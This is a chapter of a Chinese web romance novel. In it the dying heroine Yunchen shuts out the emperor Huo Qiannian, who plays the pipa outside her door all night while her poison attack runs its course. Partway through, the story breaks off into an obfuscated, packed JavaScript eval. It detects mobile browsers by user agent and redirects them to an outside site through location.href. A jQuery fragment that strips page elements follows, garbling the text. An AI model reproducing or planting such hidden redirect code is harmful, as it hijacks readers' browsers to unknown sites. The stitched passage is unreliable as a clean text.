第530章 孤雁

作品:《君恩如梦

    云琛不知道最近怎么了,总是做梦。


    梦里老有个和她自己一样的声音,天天喊杀喊打,跟个怪物似的叫唤要吃肉喝血。


    这不,云琛刚一睡着,那声音就又冒出来了,吵闹着不让她好好睡,一个劲儿地说:


    “蠢货!干嘛不叫霍乾念知道你**,叫他杀一千个童男童女救你呀!他是皇帝,天下都是他的,几个平民算什么!”


    “喂,反正都要**,干嘛便宜庄姬,把男人让给她呀?杀了她,拉个垫背的再走!要我说,全杀光了!你来做皇帝!今后我要吃多少人就有多少,包管比黑鳞骑兵会做人汤!多爽!”


    “瞧瞧你,弱鸡一个,要不噬魂丹只毒你,不毒我呢,连噬魂丹都知道你太弱了!痛吧痛吧!毒死你!这身体就是我的了!”


    “霍乾念那厮性子缜密,这皇宫内外铁板一块,你是不可能轻易逃出去的。谁来帮你都必然有猫腻,就庄姬还可以。她与你是情敌,只会盼你不好,盼你死,嘿嘿,和我一个心思。”


    那声音在云琛耳边絮絮叨叨说个不停。


    搞得云琛一觉醒来,反而更昏昏沉沉的。


    这一觉直接睡到了下午。


    她鼻子先醒,先闻到红烧狮子头的味道,然后是炖羊肉,糖醋鱼……


    她肚子咕咕叫,起身朝外间走去,只见桌上满满当当一大桌好菜,底下全都用汤盆温着。


    霍乾念正坐在桌边看折子,手边已是看完的高高三摞,


    见云琛出来,他眨眨眼睛,温柔笑笑:


    “饿了吧,快来吃。”


    于是,她顶着两天两夜没梳洗的鸡窝头,慢慢坐到了他对面。


    润禾来给她布菜的时候,留意到她“新潮的发型”,直接吓得一哆嗦,露出嫌弃的眼神。


    云琛好久没见到润禾,突然生出些逗他的坏心思。


    润禾给她夹来一块羊排,她说太老,舀来一匙鸡蛋羹,她说太嫩,反复四五次,气得润禾直瞪眼,用眼神表示骂骂咧咧,就和从前她在霍帮做护卫时一样一样的。


    这熟悉的感觉让云琛心里放松,有点想乐,正忙着“欺负”润禾时,某人却好似看不下去这“眉来眼去”,不高兴地道了声“我来”,然后接过润禾手里布菜的长筷,挑起一筷子糖醋鱼。


    润禾立即极有眼色地退开,将这布菜的活儿让出来。


    霍乾念将糖醋鱼先挑进自己盘子里,一根根将上面的鱼刺拆掉,把云琛不爱吃的糖焦鱼皮剥净后,才放进她碗里。


    云琛沉默地低头扒饭,方才与润禾斗表情包时还有点笑意的样子,这会又一下全没了。


    霍乾念每为她夹一筷子菜放进碗里,她的头就低一分,明显在刻意回避他。


    到后来,见她的头都快埋进碗里了,他才终于无奈地放弃,求饶似的说道:


    “好了,我不扰你了。”


    云琛这才慢慢直起身子,依旧一言不发,默默将碗里的饭吃完,擦擦嘴,就又钻回了寝屋。


    霍乾念夹菜的筷子悬停在半空,顿时没了任何胃口,轻轻挥手,示意将餐食撤去。


    里间寝屋里,云琛坐在榻上,耳朵听着宫人们收拾碗筷和桌椅的声音。


    她以为霍乾念吃过饭,就该走了。


    谁知他屁股坐在椅子上一动不动,压根没有要走的意思,又继续看起折子。


    他喊陆良去把御书房里剩下的折子都拿来,陆良那货直接把书桌、御笔、朱墨以及剩下所有折子搬了过来。


    顺道还搬了张独榻来,上面还带着枕头被褥什么的。


    这架势一看就是霍乾念打算在此过夜。


    云琛一下忐忑起来,不安地看着陆良忙前忙后。


    陆良将那独榻放在外间殿中央,抬头对上霍乾念微微眯起眼睛的样子,立刻乖觉地将榻往云琛寝殿方向挪两步。


    再抬头看去,霍乾念还是眼神冷淡,目光狭长,一副要**的样子,陆良只得又将独榻挪靠近点。


    就这么一步又一步,独榻硬生生挪到了云琛寝殿门口。


    正当陆良准备心一横,扛起独榻,跨过门槛,直接摆到云琛床边上去的时候,他又与云琛浑身炸毛、已做好进攻准备的样子对视上。


    陆良只能停下动作,求救地看向霍乾念,在后者不情不愿地点头后,陆良才如释重负地放下榻,开始铺床。


    将一切安置好,陆良、润禾与宫人们遂陆续退下。


    这座离勤政殿最近的殿宇慢慢安静下来,四下除了霍乾念翻动折子的书页声,拿御笔在上面写写画画的“沙沙声”,就只有云琛“咚咚”直响的心跳。


    她搞不明白霍乾念这是什么意思,把她这儿当图书室自习来了?


    她身子发僵地坐在床边,正琢磨不清他什么意思时,忽听到他放下折子和御笔、朝她寝殿走来的声音。


    这登时吓得她从榻上弹起,一个箭步冲到门口,“啪”地关上了门。


    门扇被她那大力震得嗡嗡直响,力道扑在他脸上,打得他一愣,摸了摸鼻子上的灰,叹了口气,在紧靠门扇的独榻躺了下来。


    两人就这样一个里间,一个外间,各自躺在榻上,都睁着眼睛看殿顶,也都什么话也不说,却似有千言万语在空中纠缠不休。


    云琛知道,她的阿念,从来都是个落子无悔的人。


    一个能掌握天下生杀、左右三国命运的男人,是该有绝不悔棋的自信的。


    正如当年欺瞒她梅花破月的时候一样,如今残忍的真相虽赤裸裸摆在她面前,他也依旧不说一句后悔。


    但霍乾念不明白,为什么云琛可以原谅炎朗,原谅段捷、伏霖、荣易、荣江......甚至连对庄姬都可以做到不计较,却偏偏总在面对他时立马收敛所有笑意,就又回到那个沉重不堪的躯壳里,唯独不能原谅他呢?


    这个问题,云琛原本也是不明白的。<


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16464663|168723||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    br>直到庄姬央求她可不可以离开皇宫,将他身边的位置让出来时。


    云琛终于一下有了答案:


    因为最爱,所以最难原谅吧。


    爱刻进骨头里,铭记进心里,痛就会顺着同样的路径深入骨血,轻易而举的也刻骨铭心。


    “琛儿,对不起。”


    在整个殿宇沉寂了很久,天色都要黑透的时候,他突然轻声说了这样一句。


    听云琛没有回应,他又喉头发紧,低声补充了一句:


    “明天,可以牵我的手吗?”


    可以的,阿念。


    她心里这样说。


    也想说,阿念呀,其实恨你比爱你还要难。


    不是我不想看到你,不想牵你的手。


    是我怕只一眼就会心软,只一牵就什么都想忘记。


    她心里想着这些话,泪水渐渐打湿了枕头。


    有那么一瞬间,她真的想冲过去拉开那不堪一击的门扇,扑进他怀里好好哭一场,用力打他,骂他,闹他个翻天覆地,从此往事全都翻篇,一切重头再来。


    可她只有四十天了,距离他登基大典,她要离开的日子,也只剩最后三天。


    与其在他怀里死去,让他一辈子都走不出那悲伤,不如就让他以为她恨着,怨着。


    这样将来知晓她的死讯的时候,就少哭一点吧。


    阿念......我终究做不到用死来报复你呀……


    她轻轻张口,想要唤出他的名字,一阵令她熟悉又惧怕的痛感却在此时缓缓泛上来,很快疼得她浑身颤抖,抱着被子紧紧蜷缩成一团,死死咬住被角,不敢发出声音。


    痛到最厉害的时候,冷汗氤湿了被褥,她控制不住地发出低低的呻吟,听起来就像在啜泣那样痛苦。


    门后面,霍乾念自始至终没有推门。


    并未卡上的门栓,轻轻一推就开的门扇,隔着垂死挣扎痛不欲生的她。


    就在云琛痛得眩晕暴汗、几乎要失去意识的时候。


    忽然,外间传来一声琵琶惊弦,短暂地令她从巨大的疼痛中抽离。


    好像是霍乾念坐在门口,开始摆弄琵琶。


    他拨动琴弦,是她最爱听的那首《春江花月夜》。


    可她好像又生出错觉了,她竟听到那琴声带着说不出来的低沉哀怨,声声如泣如诉,如丧偶的孤雁在呕血悲鸣。


    夹杂其中的,还有一个几乎快要控制不住的低低啜泣,以及翕动鼻子的声音。


    “琛儿,好听吗?你若喜欢,我再弹一曲吧。”


    他鼻音很重地这样说了一句,随即琴声再起。


    整整半夜,一曲又一曲。


    她的噬魂丹发作了多久,他就弹了多久。


    直到毒性发作彻底结束,她昏死在榻上一动不动了,琵琶声才终于停止。


    门外面,他将琵琶慢慢放下,麻木地捻动自己指尖磨破后渗出的血,目光发颤,喉间拼命滚动,终于咽下那声压抑的哽咽。